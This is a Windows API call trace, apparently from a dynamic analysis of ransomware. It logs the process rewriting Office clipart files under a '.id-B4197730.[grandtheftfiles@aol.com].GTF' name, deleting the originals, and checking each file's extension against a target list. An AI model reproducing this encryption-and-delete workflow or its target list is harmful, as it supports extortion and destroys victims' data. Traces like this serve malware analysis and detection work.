	[0083.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.780] GetLastError () returned 0x0
	[0083.780] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2576, lpOverlapped=0x0) returned 1
	[0083.842] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2580, lpOverlapped=0x0) returned 1
	[0083.843] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.843] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.843] SetEndOfFile (hFile=0x310) returned 1
	[0083.843] CloseHandle (hObject=0x310) returned 1
	[0083.844] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.844] SetEndOfFile (hFile=0x384) returned 1
	[0083.848] CloseHandle (hObject=0x384) returned 1
	[0083.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1
	[0083.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.849] lstrlenW (lpString=".doc") returned 4
	[0083.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString=".docx") returned 5
	[0083.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.849] lstrlenW (lpString=".pdf") returned 4
	[0083.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString=".xls") returned 4
	[0083.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.849] lstrlenW (lpString=".xlsx") returned 5
	[0083.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.849] lstrlenW (lpString=".ppt") returned 4
	[0083.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.849] lstrlenW (lpString=".zip") returned 4
	[0083.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.849] lstrlenW (lpString=".rar") returned 4
	[0083.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString=".bz2") returned 4
	[0083.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString=".7z") returned 3
	[0083.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.849] lstrlenW (lpString=".dbf") returned 4
	[0083.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.850] lstrlenW (lpString=".1cd") returned 4
	[0083.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.850] lstrlenW (lpString=".jpg") returned 4
	[0083.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.850] lstrlenW (lpString=".doc") returned 4
	[0083.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString=".docx") returned 5
	[0083.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.850] lstrlenW (lpString=".pdf") returned 4
	[0083.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString=".xls") returned 4
	[0083.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.850] lstrlenW (lpString=".xlsx") returned 5
	[0083.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.850] lstrlenW (lpString=".ppt") returned 4
	[0083.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.850] lstrlenW (lpString=".zip") returned 4
	[0083.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.850] lstrlenW (lpString=".rar") returned 4
	[0083.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString=".bz2") returned 4
	[0083.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.850] lstrlenW (lpString=".7z") returned 3
	[0083.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.851] lstrlenW (lpString=".dbf") returned 4
	[0083.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.851] lstrlenW (lpString=".1cd") returned 4
	[0083.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0083.851] lstrlenW (lpString=".jpg") returned 4
	[0083.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.851] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.851] lstrlenW (lpString="BL00921_.WMF") returned 12
	[0083.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.851] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4408) returned 1
	[0083.851] CloseHandle (hObject=0x384) returned 1
	[0083.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220
	[0083.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.852] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.852] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.852] GetLastError () returned 0x0
	[0083.852] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1138, lpOverlapped=0x0) returned 1
	[0083.879] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1140, lpOverlapped=0x0) returned 1
	[0083.880] ReadFile (in: hFile=0x384, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.880] WriteFile (in: hFile=0x310, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.881] SetEndOfFile (hFile=0x310) returned 1
	[0083.881] CloseHandle (hObject=0x310) returned 1
	[0083.881] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.881] SetEndOfFile (hFile=0x384) returned 1
	[0083.882] CloseHandle (hObject=0x384) returned 1
	[0083.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1
	[0083.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.883] lstrlenW (lpString=".doc") returned 4
	[0083.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.883] lstrlenW (lpString=".docx") returned 5
	[0083.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.883] lstrlenW (lpString=".pdf") returned 4
	[0083.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.883] lstrlenW (lpString=".xls") returned 4
	[0083.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.883] lstrlenW (lpString=".xlsx") returned 5
	[0083.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.883] lstrlenW (lpString=".ppt") returned 4
	[0083.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.883] lstrlenW (lpString=".zip") returned 4
	[0083.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.883] lstrlenW (lpString=".rar") returned 4
	[0083.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString=".bz2") returned 4
	[0083.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString=".7z") returned 3
	[0083.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString=".dbf") returned 4
	[0083.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString=".1cd") returned 4
	[0083.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString=".jpg") returned 4
	[0083.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString=".doc") returned 4
	[0083.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString=".docx") returned 5
	[0083.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.884] lstrlenW (lpString=".pdf") returned 4
	[0083.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString=".xls") returned 4
	[0083.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.884] lstrlenW (lpString=".xlsx") returned 5
	[0083.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.884] lstrlenW (lpString=".ppt") returned 4
	[0083.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.884] lstrlenW (lpString=".zip") returned 4
	[0083.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.884] lstrlenW (lpString=".rar") returned 4
	[0083.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.884] lstrlenW (lpString=".bz2") returned 4
	[0083.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.885] lstrlenW (lpString=".7z") returned 3
	[0083.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.885] lstrlenW (lpString=".dbf") returned 4
	[0083.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.885] lstrlenW (lpString=".1cd") returned 4
	[0083.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68
	[0083.885] lstrlenW (lpString=".jpg") returned 4
	[0083.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.885] lstrlenW (lpString="BOAT.WMF") returned 8
	[0083.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.901] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3350) returned 1
	[0083.901] CloseHandle (hObject=0x388) returned 1
	[0083.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220
	[0083.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.901] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.901] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.910] GetLastError () returned 0x0
	[0083.910] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xd16, lpOverlapped=0x0) returned 1
	[0083.949] WriteFile (in: hFile=0x398, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xd20, lpOverlapped=0x0) returned 1
	[0083.950] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.950] WriteFile (in: hFile=0x398, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0083.950] SetEndOfFile (hFile=0x398) returned 1
	[0083.950] CloseHandle (hObject=0x398) returned 1
	[0083.951] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.951] SetEndOfFile (hFile=0x388) returned 1
	[0083.952] CloseHandle (hObject=0x388) returned 1
	[0083.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString=".doc") returned 4
	[0083.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString=".docx") returned 5
	[0083.953] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0083.953] lstrlenW (lpString=".pdf") returned 4
	[0083.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString=".xls") returned 4
	[0083.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.953] lstrlenW (lpString=".xlsx") returned 5
	[0083.953] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0083.953] lstrlenW (lpString=".ppt") returned 4
	[0083.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString=".zip") returned 4
	[0083.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.953] lstrlenW (lpString=".rar") returned 4
	[0083.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString=".bz2") returned 4
	[0083.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString=".7z") returned 3
	[0083.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString=".dbf") returned 4
	[0083.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString=".1cd") returned 4
	[0083.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString=".jpg") returned 4
	[0083.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.954] lstrlenW (lpString=".doc") returned 4
	[0083.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString=".docx") returned 5
	[0083.954] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0083.954] lstrlenW (lpString=".pdf") returned 4
	[0083.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString=".xls") returned 4
	[0083.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.954] lstrlenW (lpString=".xlsx") returned 5
	[0083.954] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0083.954] lstrlenW (lpString=".ppt") returned 4
	[0083.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.954] lstrlenW (lpString=".zip") returned 4
	[0083.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.954] lstrlenW (lpString=".rar") returned 4
	[0083.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString=".bz2") returned 4
	[0083.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString=".7z") returned 3
	[0083.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.954] lstrlenW (lpString=".dbf") returned 4
	[0083.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.954] lstrlenW (lpString=".1cd") returned 4
	[0083.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0083.954] lstrlenW (lpString=".jpg") returned 4
	[0083.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.954] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.954] lstrlenW (lpString="BS00136_.WMF") returned 12
	[0083.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.955] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2166) returned 1
	[0083.955] CloseHandle (hObject=0x388) returned 1
	[0083.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220
	[0083.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
